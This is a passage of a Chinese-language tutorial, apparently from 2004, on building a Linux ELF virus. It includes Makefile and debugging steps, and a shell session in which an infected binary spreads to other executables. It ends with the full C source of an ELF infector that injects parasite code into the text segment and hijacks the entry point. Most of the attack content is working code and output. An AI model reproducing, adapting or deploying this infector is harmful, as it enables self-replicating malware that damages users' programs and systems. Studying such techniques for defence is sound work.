📄 linux vir.txt
字号:
|| ehdr->e_ident[EI_VERSION] != EV_CURRENT
|| ehdr->e_type != ET_EXEC
|| ehdr->e_machine != EM_386
|| ehdr->e_version != EV_CURRENT
) {
V_DEBUG_WRITE(1, &err_type, sizeof(err_type));
goto err;
}
当前的代码都是用C编写,这样很难象汇编代码那样进行更高程度的精简,不过目前的
代码体积还在合理的范围,
在调试状态和标准状态分别是1744和1248
#ifndef NDEBUG
#define PARACODE_LENGTH 1744
#else
#define PARACODE_LENGTH 1248
#endif
10 数据结构的不一致
与C库的代码调用类似,我们使用的头文件中有一些数据类型的定义是经过
包装的,与系统调用中使用的并不相同。代码相关的两个数据结构,单独提取了出来。
struct dirent {
long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[256]; /* We must not include limits.h! */
};
struct stat {
unsigned long st_dev;
unsigned long st_ino;
unsigned short st_mode;
unsigned short st_nlink;
unsigned short st_uid;
unsigned short st_gid;
unsigned long st_rdev;
unsigned long st_size;
unsigned long st_blksize;
unsigned long st_blocks;
unsigned long st_atime;
unsigned long st_atime_nsec;
unsigned long st_mtime;
unsigned long st_mtime_nsec;
unsigned long st_ctime;
unsigned long st_ctime_nsec;
unsigned long __unused4;
unsigned long __unused5;
};
五、** 在一个新的编译环境下的调试方法
grip2@linux:~/tmp/virus> ls
g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h
调整Makefile文件,将编译模式改为调试模式,即关掉-DNDEBUG选项
grip2@linux:~/tmp/virus> cat Makefile
all: foo gei
gei: g-elf-infector.c gvirus.o
gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG
foo: foo.c
gcc $< -o foo
gvirus.o: gvirus.c
gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
clean:
rm *.o -rf
rm foo -rf
rm gei -rf
编译代码
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
先获取病毒代码长度,然后调整gvirus.c中的#define PARACODE_LENGTH定义
grip2@linux:~/tmp/virus> ./gei -l <-- 这里获取病毒代码的长度
Parasite code length: 1744
获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移
grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd
8049427: 68 dd cc bb aa push $0xaabbccdd
grip2@linux:~/tmp/virus> objdump -d gei|grep "<parasite_code>"
08048d80 <parasite_code>:
8049450: e9 2b f9 ff ff jmp 8048d80 <parasite_code>
grip2@linux:~/tmp/virus> objdump -d gei|grep "<parasite_code>:"
08048d80 <parasite_code>:
0x8049427与0x8048d80相减即获得我们需要的偏移,
用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值
重新编译
grip2@linux:~/tmp/virus> make clean
rm *.o -rf
rm foo -rf
rm gei -rf
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
grip2@linux:~/tmp/virus> ls
gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c
g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h
建立一个测试目录,测试一下
grip2@linux:~/tmp/virus> mkdir test
grip2@linux:~/tmp/virus> cp gei foo test
grip2@linux:~/tmp/virus> cd test
grip2@linux:~/tmp/virus/test> ls
gei foo
grip2@linux:~/tmp/virus/test> cp foo h
制作带毒程序
grip2@linux:~/tmp/virus/test> ./gei h
file size: 8668
e_phoff: 00000034
e_shoff: 00001134
e_phentsize: 00000020
e_phnum: 00000008
e_shentsize: 00000028
e_shnum: 00000025
text segment file offset: 0
[15 sections patched]
grip2@linux:~/tmp/virus/test> ll
total 44
-rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo
运行带毒程序
grip2@linux:~/tmp/virus/test> ./h
.
..
gei
foo
h
.backup.h
real elf point
grip2@linux:~/tmp/virus/test> ll
total 52
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
测试上面带毒程序运行后,是否感染了其他ELF程序
grip2@linux:~/tmp/virus/test> ./foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
real elf point
OK,成功
grip2@linux:~/tmp/virus/test> cp ../foo hh
grip2@linux:~/tmp/virus/test> ll
total 64
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
grip2@linux:~/tmp/virus/test> ./foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
hh
real elf point
grip2@linux:~/tmp/virus/test>
六、** 最后
由于我既不是一个virus coder也不是一个anti-virus coder,所以对病毒
技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确,分析不够到
位,还请指正,谢谢。
七、** 参考文献
1 Silvio Cesare 的《UNIX ELF PARASITES AND VIRUS》
2 ELF文档
3 更多的安全技术交流
http://www.linuxforum.net/forum/showflat.php?Cat=&Board=security&
Number=479955&page=0&view=collapsed&sb=5&o=31&fpart=
八、** 附录 - ELF文件感染工具和病毒原型源代码
------------------------------ g-elf_infector.c ------------------------------
/*
* gei - ELF Infector v0.0.2 (2004)
* written by grip2 <gript2@hotmail.com>
*/
#include <elf.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include "gvirus.h"
#define PAGE_SIZE 4096
#define PAGE_ALIGN(a) (((a) + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1))
static int elf_infect(const char *filename,
void *para_code,
unsigned int para_code_size,
unsigned long retaddr_addr_offset);
int main(int argc, char *argv[])
{
#define MAX_FILENAME_LEN 256
char backup[MAX_FILENAME_LEN*4];
char restore[MAX_FILENAME_LEN*4];
if (argc != 2) {
fprintf(stderr,
"gei - ELF Infector v0.0.2 written by grip2 <gript2@hotmail.com>\n");
fprintf(stderr, "Usage: %s <elf-exec-file>\n", argv[0]);
return 1;
}
if (strcmp(argv[1], "-l") == 0) {
fprintf(stderr, "Parasite code length: %d\n",
¶site_code_end - ¶site_code);
return 1;
}
if (strlen(argv[1]) > MAX_FILENAME_LEN) {
fprintf(stderr, "filename too long!\n");
return 1;
}
sprintf(backup, "cp -f %s .backup.%s\n", argv[1], argv[1]);
sprintf(restore, "cp -f .backup.%s %s\n", argv[1], argv[1]);
system(backup);
if (elf_infect(argv[1], ¶site_code,
¶site_code_end - ¶site_code,
PARACODE_RETADDR_ADDR_OFFSET) < 0) {
system(restore);
return 1;
}
return 0;
}
static int elf_infect(const char *filename,
void *para_code,
unsigned int para_code_size,
unsigned long retaddr_addr_offset)
{
int fd = -1;
int tmp_fd = -1;
Elf32_Ehdr *ehdr = NULL;
Elf32_Phdr *phdr;
Elf32_Shdr *shdr;
int i;
int txt_index;
struct stat stat;
int align_code_size;
unsigned long org_entry;
void *new_code_pos;
int tmp_flag;
int size;
unsigned char tmp_para_code[PAGE_SIZE];
char *tmpfile;
tmpfile = tempnam(NULL, "infector");
fd = open(filename, O_RDWR);
if (fd == -1) {
perror(filename);
goto err;
}
if (fstat(fd, &stat) == -1) {
perror("fstat");
goto err;
}
#ifndef NDEBUG
printf("file size: %lu\n", stat.st_size);
#endif
ehdr = mmap(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
if (ehdr == MAP_FAILED) {
perror("mmap ehdr");
goto err;
}
/* Check ELF magic-ident */
if (ehdr->e_ident[EI_MAG0] != 0x7f
|| ehdr->e_ident[EI_MAG1] != 'E'
|| ehdr->e_ident[EI_MAG2] != 'L'
|| ehdr->e_ident[EI_MAG3] != 'F'
|| ehdr->e_ident[EI_CLASS] != ELFCLASS32
|| ehdr->e_ident[EI_DATA] != ELFDATA2LSB
|| ehdr->e_ident[EI_VERSION] != EV_CURRENT
|| ehdr->e_type != ET_EXEC
|| ehdr->e_machine != EM_386
|| ehdr->e_version != EV_CURRENT
) {
fprintf(stderr, "File type not supported\n");
goto err;
}
#ifndef NDEBUG
printf("e_phoff: %08x\ne_shoff: %08x\n",
ehdr->e_phoff, ehdr->e_shoff);
printf("e_phentsize: %08x\n", ehdr->e_phentsize);
printf("e_phnum: %08x\n", ehdr->e_phnum);
printf("e_shentsize: %08x\n", ehdr->e_shentsize);
printf("e_shnum: %08x\n", ehdr->e_shnum);
#endif
align_code_size = PAGE_ALIGN(para_code_size);
/* Get program header and section header start address */
phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff);
shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff);
/* Locate the text segment */
txt_index = 0;
while (1) {
if (txt_index == ehdr->e_phnum - 1) {
fprintf(stderr, "Invalid e_phnum, text segment not found.\n");
goto err;
}
if (phdr[txt_index].p_type == PT_LOAD
&& phdr[txt_index].p_flags == (PF_R|PF_X)) { /* text segment */
#ifndef NDEBUG
printf("text segment file offset: %u\n", phdr[txt_index].p_offset);
#endif
if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz + align_code_size
> phdr[txt_index+1].p_vaddr) {
fprintf(stderr, "Better luck next file :-)\n");
goto err;
}
break;
}
txt_index++;
}
/* Modify the entry point of the ELF */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
new_code_pos =
(void *) ehdr + phdr[txt_index].p_offset + phdr[txt_index].p_filesz;
/* Increase the p_filesz and p_memsz of text segment
* for new code */
phdr[txt_index].p_filesz += align_code_size;
phdr[txt_index].p_memsz += align_code_size;
for (i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr)
phdr[i].p_offset += align_code_size;
tmp_flag = 0;
for (i = 0; i < ehdr->e_shnum; i++) {
if (shdr[i].sh_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) {
shdr[i].sh_offset += align_code_size;
if (!tmp_flag && i) { /* associating the new_code to the last
* section in the text segment */
shdr[i-1].sh_size += align_code_size;
tmp_flag = 1;
printf("[%d sections patched]\n", i-1);
}
}
}
/* Increase p_shoff in the ELF header */
ehdr->e_shoff += align_code_size;
/* Make a new file */
tmp_fd = open(tmpfile, O_WRONLY|O_CREAT, stat.st_mode);
if (tmp_fd == -1) {
perror("open");
goto err;
}
size = new_code_pos - (void *) ehdr;
if (write(tmp_fd, ehdr, size) != size) {
perror("write");
goto err;
}
memcpy(tmp_para_code, para_code, para_code_size);
memcpy(tmp_para_code + retaddr_addr_offset,
&org_entry, sizeof(org_entry));
if (write(tmp_fd, tmp_para_code, align_code_size) != align_code_size) {
perror("write");
goto err;
}
if (write(tmp_fd, (void *) ehdr + size, stat.st_size - size)
!= stat.st_size - size) {
perror("write");
goto err;
}
close(tmp_fd);
munmap(ehdr, stat.st_size);
close(fd);
if (rename(tmpfile, filename) == -1) {
perror("rename");
goto err;
}
return 0;
err:
if (tmp_fd != -1)
close(tmp_fd);
if (ehdr)
munmap(ehdr, stat.st_size);
if (fd != -1)
close(fd);
return -1;
}
------------------------------ g-elf_infector.c ------------------------------
------------------------------ gvirus.h ------------------------------
#ifndef _G2_PARASITE_CODE_
#define _G2_PARASITE_CODE_
#ifndef NDEBUG
#define PARACODE_RETADDR_ADDR_OFFSET 1704
#else
#define PARACODE_RETADDR_ADDR_OFFSET 1232
#endif
void parasite_code(void);
void parasite_code_end(void);
#endif
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -